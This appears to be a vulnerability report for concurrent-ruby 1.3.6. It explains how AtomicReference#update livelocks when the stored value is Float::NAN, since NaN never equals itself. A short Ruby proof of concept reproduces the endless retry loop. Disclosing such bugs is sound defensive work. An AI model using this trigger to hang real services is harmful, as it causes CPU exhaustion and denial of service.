Concurrent Ruby : `AtomicReference#update` livelocks when the stored value is `Float::NAN`

Summary

Concurrent::AtomicReference#update can enter a permanent busy retry loop when the current value is Float::NAN.

The issue is caused by the interaction between:

• AtomicReference#update, which retries until compare_and_set(old_value, new_value) succeeds.
• Numeric compare_and_set, which checks old == old_value before attempting the underlying atomic swap.
• Ruby NaN semantics, where Float::NAN == Float::NAN is always false.

As a result, once an AtomicReference contains Float::NAN, calling #update repeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in an AtomicReference, this can cause CPU exhaustion or permanent request/job hangs.

Version

Software: concurrent-ruby Version: 1.3.6 Commit: 7a1b78941c081106c20a9ca0144ac73a48d254ab

Details

AtomicReference#update retries until compare_and_set returns true:

def update
  true until compare_and_set(old_value = get, new_value = yield(old_value))
  new_value
end

For numeric expected values, compare_and_set uses numeric equality before attempting the underlying atomic compare-and-set:

def compare_and_set(old_value, new_value)
  if old_value.kind_of? Numeric
    while true
      old = get

      return false unless old.kind_of? Numeric
      return false unless old == old_value

      result = _compare_and_set(old, new_value)
      return result if result
    end
  else
    _compare_and_set(old_value, new_value)
  end
end

When the stored value is Float::NAN, old_value = get returns NaN. The later comparison old == old_value is false because NaN is not equal to itself. compare_and_set therefore returns false every time. AtomicReference#update treats that as a failed concurrent update and retries forever.

This is reachable through the public Concurrent::AtomicReference API and does not require native extensions or undefined behavior.

PoC

#!/usr/bin/env ruby
# frozen_string_literal: true

require 'concurrent/atomic/atomic_reference'
require 'concurrent/version'

puts "ruby=#{RUBY_DESCRIPTION}"
puts "concurrent_ruby_version=#{Concurrent::VERSION}"
puts "poc=AtomicReference#update livelock when current value is Float::NAN"

ref = Concurrent::AtomicReference.new(Float::NAN)
attempts = 0
finished = false

worker = Thread.new do
  ref.update do |_old_value|
    attempts += 1
    0.0
  end
  finished = true
end

sleep 0.25

puts "nan_update_attempts_after_250ms=#{attempts}"
puts "nan_update_finished=#{finished}"
puts "nan_update_worker_alive=#{worker.alive?}"

if worker.alive? && !finished && attempts > 1000
  puts 'result=REPRODUCED busy retry loop; update did not complete'
else
  puts 'result=NOT_REPRODUCED'
end

worker.kill
worker.join

control = Concurrent::AtomicReference.new(1.0)
control_attempts = 0
control_result = control.update do |old_value|
  control_attempts += 1
  old_value + 1.0
end

puts "control_update_result=#{control_result.inspect}"
puts "control_update_attempts=#{control_attempts}"
puts "control_update_final_value=#{control.value.inspect}"